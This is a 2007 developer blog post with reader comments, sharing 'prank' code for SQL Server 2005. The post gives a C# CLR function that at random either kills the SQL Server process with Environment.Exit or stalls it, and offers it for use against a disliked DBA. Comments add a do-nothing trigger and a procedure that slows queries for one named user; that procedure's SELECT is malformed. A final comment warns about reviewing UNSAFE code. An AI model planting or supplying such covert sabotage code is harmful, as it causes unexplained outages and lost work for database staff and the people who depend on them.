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SQL Server 2005 evil DBA prank

Today I feel a bit evil minded so I thought I'd share this little prank-friendly function.

If you put this into a .Net Assembly you import to SQL Server as a function or a stored procedure

you can wreck some real havoc :)

 

private static void SQLPrank()
{
    Random r1 = new Random(DateTime.Now.Millisecond);
    int lowerBound = r1.Next(1000, 2000);
    int upperBound = r1.Next(3000, 4000);
    int randomNumber = r1.Next(1000, 4000);
    /*
    1000             2000             3000             4000
      |----------------|----------------|----------------|
      .....|...................................|..........
    random lower bound                  random upper bound
      ..........................|.........................
                        random number 
      |----|-----------------------------------|---------| 
       Exit          Normal operation             Wait
    */
    if (randomNumber >= 1000 && randomNumber < lowerBound)
        Environment.Exit(0);            
    else if (randomNumber >= upperBound && randomNumber < 4000)
        Thread.Sleep(5000);
}

 

The gem here is the Environment.Exit(0) which shuts down SQL Server without anyone having a clue why.

This is perfect for a prank on your least favorite DBA or developer. :)

 

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Print | posted on Thursday, November 15, 2007 10:05 PM

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# re: SQL Server 2005 evil DBA prank

I always thought a cruel prank was to set up an "instead of" trigger that did nothing!
11/16/2007 8:29 AM | Matt G

# re: SQL Server 2005 evil DBA prank

uuuu... combined with this in an instead triiger... ufff!! :))
that would be something!
11/16/2007 10:24 AM | Mladen

# re: SQL Server 2005 evil DBA prank

Wow - dunno what to say to that one. That would stump anyone for hours and hours. I would not be your friend when I found out the true answer :) Also good is the "old standby":

ALTER PROC GetEmployeeInfo (@EmpId INT)
AS
IF USER = 'Mike'
WAITFOR DELAY '00:00:07'

SELECT * FROM EmployeeId=@EmpId
GO
11/16/2007 11:08 AM | Scott Whigham

# re: SQL Server 2005 evil DBA prank

So the moral of the story here is to not trust UNSAFE code. That's why it's called "unsafe". If you do need unsafe code in your environment, it should be carefully reviewed by more than one person before deployment to make sure that there are no issues. And only authorized people should have access to deploy that kind of code to any servers that are of any value (including dev servers - bringing one down can cost the company plenty in terms of productivity).
6/15/2009 8:28 PM | Adam Machanic

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